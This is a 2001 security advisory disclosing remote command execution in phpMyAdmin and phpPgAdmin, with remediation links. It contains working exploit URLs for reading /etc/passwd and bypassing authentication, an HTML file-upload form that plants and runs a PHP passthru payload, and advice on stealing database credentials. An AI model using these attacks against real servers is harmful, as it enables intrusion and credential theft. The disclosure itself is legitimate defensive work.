Security Advisory #8

=================================================
Secure Reality Pty Ltd. Security Advisory #8 (SRADV00008)
Secure Reality
================================================= [Title] Remote command execution vulnerabilities in phpMyAdmin and phpPgAdmin [Released] 2/7/2001 [Vulnerable] - phpMyAdmin up to and including official 2.1.0 (without SecureReality patch), or less than 2.2.0pre5 of unofficial project - phpPgAdmin below 2.3 [Overview] phpMyAdmin is an easy to use web based administration interface for MySQL written in PHP. It was written by Tobias Ratschiller, author of several PHP textbooks, regular speaker on PHP and prominent member of the PHP community. phpMyAdmin is extremely popular and very widespread (site rankings show it almost as popular as PHP itself) since it makes most MySQL administration tasks much easier. A further indication of its popularity is the fact that is has since been ported (largely by independent development) from MySQL to also work on PostgreSQL as a separate product called phpPgAdmin. phpMyAdmin (and phpPgAdmin by its common code base) makes insecure calls to the PHP function include(). Installations of the versions specified are vulnerable to attacks in which the attacker gains the ability to execute arbitrary commands (and code) on the remote web server with the permissions of the web server user, typically 'nobody'. Please note that enabling 'Advanced Authentication' does _NOT_ prevent this attack. Given command execution ability the attacker also gains the ability to read the configuration files of the installation, thereby gaining database credentials. [Impact] Remote command execution (with privileges as above) Disclosure of Database Credentials [Detail] Please note that this vulnerability was discussed in detail at the Black Hat Briefings in Hong Kong and Singapore in Asia 2001. At some stage, powerpoint presentation notes and audio/video of the presentation will become available at http://www.blackhat.com. Note also that this description will be best understood (and is released in conjunction with) our new paper "A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications" which can be downloaded from http://www.securereality.com.au/archives.html Ok, I'm going to explain this vulnerability in terms of how an attacker might go about finding the problem, sidestepping the various issues in its exploitation then successfully executing code on the remote web server. The problem is spotted initially with a trivial grep of the source. The following line of code in sql.php seems suspicious: include($goto); The include() function tells PHP to read in the file specified in the variable $goto and interpret it as though it were PHP code. If the attacker can affect $goto (with form input) they may be able to point this at sensitive local files (e.g /etc/passwd) and have them returned or even worse, have their own PHP interpreted which allows them to run arbitrary code. Looking at the context around this code: 4 require("lib.inc.php"); 5 $no_require = true; 6 7 8 if(isset($goto) && $goto == "sql.php") 9 { 10 $goto = "sql.php?server=$server&db=$db&table=$table&pos=$pos&sql_query=".urlencode($ sql_query); 11 } 12 13 // Go back to further page if table should not be dropped 14 if(isset($btnDrop) && $btnDrop == $strNo) 15 { 16 if(file_exists($goto)) 17 include($goto); 18 else 19 Header("Location: $goto"); 20 exit; 21 } sql.php is normally used by phpMyAdmin to perform freeform SQL queries (usually select statements), its also used to drop and empty tables. For drop and empty actions the page is designed to first confirm the action (with an 'Are you sure?' type page) then perform the action and return the user to an application defined page. The code we are looking at above is the code to determine if the person said no to the 'Are you sure?' and if so, to return them to the page where they began. So, the user enters this page by following a link somewhere else in the application. The link has as form input, amongst other things, the $goto variable set to an appropriate place to return to once the action is completed (or cancelled as the case may be). Line 4 includes some sort of library code (presumably configuration information too). Then lines 8-11 redefine $goto to include form information if the page set to return to is sql.php itself. Line 14 checks if the form input contains the variable $btnDrop (which is the form button usually used to select 'Yes' or 'No' at the confirmation prompt). If the input does contain $btnDrop and it is set to 'No' in the language phpMyAdmin is using ($strNo) sql.php assumes the user has just clicked No to a drop/clear action and begins processing code to return them to the page they came from. Line 16 looks at the $goto variable (which is set as described above in the link used to get to sql.php to set a page to return to), it attempts to be intelligent and if that page is found on the local system (file_exists($goto)) include()s the file for interpretation by PHP instead of redirecting the browser (as on line 19). This code is undoubtedly vulnerable. The variable $goto is MEANT to be set by the remote web browser in form input and can be pointed at any local file the attacker wishes. So as a first attempt the attacker might surf in their web browser to: http://<vulnerable host>/phpMyAdmin/sql.php?btnDrop=No&goto=/etc/passwd which might be expected to return the text of the password file on the remote machine. Unfortunately, in most cases this won't actually succeed and instead a username and password box will pop up. This is the 'Advanced authentication' configuration for phpMyAdmin. phpMyAdmin is not designed for use on the Internet (this is stated in the documentation) and in its most basic configuration users do not have to log in, they simply have to know the url of the installation. In this configuration a set of MySQL credentials are stored in a configuration file and all users of the application share those credentials. This is obviously a bad thing, both on an Intranet and the Internet. Thus later versions supply an 'Advanced authentication' configuration that forces users to login using a MySQL username and password and their access is limited to the access of those credentials. Even though the documentation states phpMyAdmin should not be used on the Internet many users have done so, relying on the Advanced authentication to prevent anonymous users accessing the databases. So, presumably the attacker doesn't have credentials on the remote databases which means they will need a way around this authentication. Remember line 4 of sql.php which included lib.inc.php? Obviously this authentication must be happening somewhere inside there so here's some context: 4 require("config.inc.php"); ... definition of a few utility functions 102 reset($cfgServers); 103 while(list($key, $val) = each($cfgServers)) 104 { 105 // Don't use servers with no hostname 106 if (empty($val['host'])) 107 unset($cfgServers[$key]); 108 } 109 110 if(empty($server) || !isset($cfgServers[$server]) || !is_array($cfgServers[$server])) 111 $server = $cfgServerDefault; 112 113 if($server == 0) 114 { 115 // If no server is selected, make sure that $cfgServer is empty 116 // (so that nothing will work), and skip server authentication. 117 // We do NOT exit here, but continue on without logging into 118 // any server. This way, the welcome page will still come up 119 // (with no server info) and present a choice of servers in the 120 // case that there are multiple servers and '$cfgServerDefault = 0' 121 // is set. 122 $cfgServer = array(); 123 } 124 else 125 { 126 // Otherwise, set up $cfgServer and do the usual login stuff. 127 $cfgServer = $cfgServers[$server]; Line 4 includes some sort of configuration information from config.inc.php. Line 102 goes on to enumerate an array called $cfgServers (which presumably is set in config.inc.php) and removes any entries that don't have a 'host' element (which implies the array is two dimensional, arrays in PHP are associative). Line 110 then checks if the variable $server is '' or if $cfgServers[$server] isn't set or isn't itself an array, if any of those conditions are true $server is set to $cfgServerDefault. Finally the code checks if $server is 0, if it is then (as the comment specified) authentication is completely skipped, obviously something the attacker would appreciate. Ok, so what does this mean? phpMyAdmin can be configured to manage several different MySQL servers. In this case, before demanding a login, it provides a select box for the user to select which MySQL server they want to manage. The code around line 103 removes misconfigured servers. The code around line 110 checks the users selection, if it isn't in the list of configured servers the server is set to $cfgServerDefault (a default server). Finally in line 113 the program checks if no server has yet been selected, and if 0 has been selected it doesn't force a login based on the assumption the user must be at the main index about to choose a server. It shouldn't matter anyway, since the user hasn't provided credentials for a database the application won't connect anywhere so from the applications point of view there is no security issue in allowing pages to execute while not connected to a database. However, the attacker is attacking the application and not the database. Given the above, the attacker obviously wants to set $server to 0 so that authentication will be skipped. But this doesn't work (in most situations). Looking at some context from config.inc.php: 9 // The $cfgServers array starts with $cfgServers[1]. Do not use $cfgServers[0]. 10 // You can disable a server config entry by setting host to ''. 11 $cfgServers[1]['host'] = 'localhost'; // MySQL hostname 12 $cfgServers[1]['port'] = ''; // MySQL port - leave blank for default port 13 $cfgServers[1]['adv_auth'] = true; // Use advanced authentic ation? ... more cfgServers[] entries ... 41 // If you have more than one server configured, you can set $cfgServerDefault 42 // to any one of them to autoconnect to that server when phpMyAdmin is started, 43 // or set it to 0 to be given a list of servers without logging in 44 // If you have only one server configured, $cfgServerDefault *MUST* be 45 // set to that server. 46 $cfgServerDefault = 1; // Default server (0= no default server) 47 $cfgServer = ''; 48 unset($cfgServers[0]); Line 48 above deliberately forces cfgServers[0] to be unset. This means that if an attacker sets $server = 0 the !isset($cfgServers[$server]) clause of the if statment on line 110 of lib.inc.php will evalutate to true and $server will be set to $cfgServerDefault. As the comment on line 41 above indicates $cfgServerDefault is usually set to a specific server (in almost all installations). So the attacker still needs a way to set $server = 0 without triggering the if statement that evaluates cfgServers[$server] and resets it to the default. The answer to this is in loose typing. $server simply needs to evaluate to the _numeric_ value 0. It doesn't have to be '0', just evaluate to 0. Many different strings evaluate to 0, for example '', '0', '00'. So the attacker needs to set $server to some value that evaluates to 0 and insure that the array entry $cfgServers[$server]['host'] is set. Note that the config.inc.php code never EMPTIES the cfgServers array, this means that an attacker can submit as form input entries for this array. Take for example the $server value '000'. This value evaluates to 0 in a numeric context. The attacker can now create as form input $cfgServers[000][host]=hello. Remember that PHP arrays are associative (that is, the index is a string), thus $cfgServers[000] is NOT the same as cfgServers[0]. Given the above, the attacker might try the following in their web browser: http://<vulnerable host>/phpMyAdmin/sql.php?server=000&cfgServers[000][host]=hello&btnDrop=No&g oto=/etc/passwd Sure enough, all the tests are passed and the passwd file of the remote server is returned in a web page, straight through the firewall and past the IDS. Now, the attacker is unlikely to be satisfied with simply being able to read files on the remote web server, they're goal is to execute commands. They have the ability to include any file they wish to be executed as PHP, they simply need to get some PHP code of their choosing into a file on the remote machine. There are many ways to do this in PHP (see our paper for more information) but the most obvious one is file upload. Take the following form: <FORM ENCTYPE="multipart/form-data" ACTION="http://<vulnerable host>/phpMyAdmin/sql.php" METHOD=POST> <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000"> PHP File to be executed: <INPUT NAME="goto" TYPE="file"> <INPUT TYPE="hidden" NAME="cfgServers[000][host]" VALUE="hello"> <INPUT TYPE="hidden" NAME="server" VALUE="000"> <INPUT TYPE="hidden" NAME="btnDrop" VALUE="No"> <INPUT TYPE="submit" VALUE="Send File"> If saved into a file and loaded into a web browser it brings up a form asking for a file containing PHP code to be executed on the remote web server. The user can click the 'Browse' button and pick any file they wish. When the user clicks 'Send File' that file is uploaded to the remote web server. As default PHP functionality, it automatically accepts that file (even though sql.php does not process file uploads) and saves it on the local disk of the web server, it then sets the location of the file in the variable $goto (e.g '/tmp/phpxXuoXG') and sets the variables $server, $btnDrop, $cfgServers[000] as needed for the exploit. All the tests are again passed but now instead of reading a file that was already local the local file is one the attacker has just uploaded. If the file contained the following for example: <?php passthru("ls /etc"); ?> a directory listing of the /etc/ directory on the remote web server would be returned to the attackers web browser. Obviously any command could be specified and further exploit code could be uploaded and executed as described in 'A Study In Scarlet'. The attacker can also gain further assistance by reading the contents of config.inc.php. In Advanced authentication installations it contains database credentials for each database to be administered using phpMyAdmin. The credentials must be able to read the priviliges in the mysql database. This means allows an attacker to easily gain access to the encrypted password hashes of all the users on each MySQL installation. Further, most installations actually place the MySQL root user credentials in this file to save effort of creating a new user with select privileges on mysql.*. The attack on phpPgAdmin is a slight variation on the one detailed above. This is because phpPgAdmin is based on an older version of phpMyAdmin. The attacker simply needs to set $LIB_INC to 1 to prevent lib.inc.php being included at all without having to fool the application into believing the user is yet to select a server. That is, an attack like the following works: http://<vulnerable host>/phpPgAdmin/sql.php?LIB_INC=1&btnDrop=No&goto=/etc/passwd As always with PHP there are many caveats to the attacks details in this advisory based on PHP configuration and version. I'm not going to go into detail discussing those here. Suffice to say this is a bug and it is usually exploitable. [Fix] Development of phpMyAdmin has been continued by an independent and unauthorized (as yet) group of developers who have released a new version that contains fixes for this problem. You can upgrade to their version (2.2.0pre5) from: http://sourceforge.net/project/showfiles.php?group_id=23067 If you want to continue running the last official version of phpMyAdmin (2.1.0) please apply the SecureReality patch as described in SRPRE00001 at: http://www.securereality.com.au/srpre00001.html The developers of phpPgAdmin have patched later versions to fix this problem. Please download the fixed version from: ftp://ftp.greatbridge.org/pub/phppgadmin/stable/phpPgAdmin_2-3.tar.gz [Acknowledgements] Our thanks to the developers of the unofficial phpMyAdmin project and Dan Wilson from the phpPgAdmin project for applying our fixes to their releases. [Disclaimer] Advice, directions and instructions on security vulnerabilities in this advisory do not constitute: an endorsement of illegal behavior; a guarantee that protection measures will work; an endorsement of any product or solution or recommendations on behalf of Secure Reality Pty Ltd. Content is provided as is and Secure Reality Pty Ltd does not accept responsibility for any damage or injury caused as a result of its use.